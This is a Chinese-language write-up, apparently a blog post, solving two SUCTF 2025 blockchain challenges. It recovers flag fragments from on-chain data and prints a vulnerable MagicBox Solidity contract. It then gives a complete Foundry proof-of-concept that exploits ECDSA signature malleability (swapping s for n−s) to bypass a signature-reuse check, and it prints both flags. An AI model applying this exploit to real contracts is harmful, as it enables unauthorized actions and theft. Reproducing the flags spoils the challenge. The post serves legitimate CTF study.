{"author":{"address":"0x468FA4c23c94012bf170207210d26E02a8a268bf","user":"https://learnblockchain.cn/people/16222"},"content":{"body":"## Onchain Checkin\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/Z99Tzv6U6785d04b4b247.png)\r\n这里是 program 的地址。explorer 上查询到如下数据：\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/gybMLb7U6785d065b9743.png)\r\n这两个有一个是测试数据：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/vHTBlqfY6785d0740db4d.png)\r\n\r\n另一个是对的\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/ozpCCUJO6785d0824f406.png)\r\n\r\n但是这里只有两个\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/0IiPWlJM6785d08fa3519.png)\r\n\r\n另一个看源码这里：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/TLdW0XBk6785d0bc053c1.png)\r\n\r\n这里提到了 account3 的公钥。试了下 base58 也能解出来：\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/RjQ54XYh6785d0a37fe17.png)\r\n拼一下：\r\n\r\nSUCTF{Con9ra7s!YouHaveFound_7HE_KEeee3ey_P4rt_0f_Th3_F1ag.}\r\n\r\n## Onchain Magician\r\n\r\n源码：\r\n\r\n```solidity\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity 0.8.28;\r\n\r\ncontract MagicBox {\r\n    struct Signature {\r\n        uint8 v;\r\n        bytes32 r;\r\n        bytes32 s;\r\n    }\r\n\r\n    address magician;\r\n    bytes32 alreadyUsedSignatureHash;\r\n    bool isOpened;\r\n\r\n    constructor() {}\r\n\r\n    function isSolved() public view returns (bool) {\r\n        return isOpened;\r\n    }\r\n\r\n    function getMessageHash(address _magician) public view returns (bytes32) {\r\n        return keccak256(abi.encodePacked(\"I want to open the magic box\", _magician, address(this), block.chainid));\r\n    }\r\n\r\n    function _getSignerAndSignatureHash(Signature memory _signature) internal view returns (address, bytes32) {\r\n        address signer = ecrecover(getMessageHash(msg.sender), _signature.v, _signature.r, _signature.s);\r\n        bytes32 signatureHash = keccak256(abi.encodePacked(_signature.v, _signature.r, _signature.s));\r\n        return (signer, signatureHash);\r\n    }\r\n\r\n    function signIn(Signature memory signature) external {\r\n        require(magician == address(0), \"Magician already signed in\");\r\n        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);\r\n        require(signer == msg.sender, \"Invalid signature\");\r\n        magician = signer;\r\n        alreadyUsedSignatureHash = signatureHash;\r\n    }\r\n\r\n    function openBox(Signature memory signature) external {\r\n        require(magician == msg.sender, \"Only magician can open the box\");\r\n        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);\r\n        require(signer == msg.sender, \"Invalid signature\");\r\n        require(signatureHash != alreadyUsedSignatureHash, \"Signature already used\");\r\n        isOpened = true;\r\n    }\r\n}\r\n```\r\n\r\n分析：和其他的合约 ctf 一样，调用 `openBox`函数成功使得 `isOpened`为 ture 即可拿到 flag。\r\n\r\n大致一看，这道题需要我们签署原始交易，获得 v, r, s 的值。\r\n\r\n- `getMessageHash`：该函数用于构造合约预期的 message 摘要\r\n- `_getSignerAndSignatureHash`：内部函数，用于还原签名的签署者，以及获得签名的哈希\r\n- `signIn`：传递签名（这里要求我们 msg.sender 和还原出来的签名地址相同，同时在此之前没有调用过该函数），设置 `magician = signer`\r\n- `openBox`：传递签名，想要调用成功，需要与上一次调用`signIn`的 signer 相同，同时**签名的哈希不同**。\r\n\r\n大致分析后，我们可以知道：**每个人（signer）的交易哈希都只有一个，但是我们需要有两个不同的有效签名。这个实际上是以太坊的签名拓展性攻击漏洞。**\r\n\r\n关于该漏洞，详细流程可以查看我之前写的一篇文章：https://learnblockchain.cn/article/8281\r\n\r\n简单来说：由于以太坊底层使用的是 Secp256K1 椭圆曲线，该椭圆曲线，对于一个签名，有两个有效的 s 值。所以，通过构造，我们得到另一个有效的 s 值，将这个 s 值作为调用`openBox`中传递即可。\r\n\r\n对于计算 v、r、s，这里使用 foundry 的 [sign cheatcode](https://book.getfoundry.sh/cheatcodes/sign)。\r\n\r\n完整 Poc：\r\n\r\n```solidity\r\nimport {Script, console2} from \"forge-std/Script.sol\";\r\nimport {MagicBox} from \"../src/MagicBox.sol\";\r\n\r\ncontract Attack is Script {\r\n    function run() external {\r\n        MagicBox target = MagicBox(vm.envAddress(\"target\"));\r\n        // secp256k1 曲线的阶 n\r\n        uint256 n = uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141);\r\n\r\n        vm.startBroadcast();\r\n        bytes32 MessageHash = target.getMessageHash(vm.envAddress(\"account\"));\r\n        vm.stopBroadcast();\r\n\r\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(vm.envUint(\"key\"), MessageHash);\r\n        v = 27; // 27 还原出来的失败\r\n        MagicBox.Signature memory signature1 = MagicBox.Signature(v, r, s);\r\n\r\n        MagicBox.Signature memory signature2 = MagicBox.Signature(28, r, bytes32(n - uint256(s)));\r\n\r\n        vm.startBroadcast();\r\n        target.signIn(signature1);\r\n        target.openBox(signature2);\r\n        vm.stopBroadcast();\r\n    }\r\n}\r\n```\r\n\r\n这里需要注意的问题是：\r\n\r\n以太坊的 v 值，有效值为 27 或 28，具体为哪个值，需要我们进行手动修改：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/F9l5BwCL6785d0dd825a6.png)\r\n\r\n（第一次为 27 成功，第二次为 27 失败，修改为 28 后成功执行）\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/xlzHq4iu6785d0e84306c.png)\r\n\r\n之后广播即可：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/4LN0nWqd6785d0f348895.png)\r\n\r\nflag：SUCTF{C0n9r4ts!Y0u're_An_0ut5taNd1ng_OnchA1n_Ma9ic1an.}\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2025/01/PlPAuvT96785d0fa52bd4.png)","title":"suctf2025 Misc blockchain"},"history":null,"timestamp":1736823091,"version":1}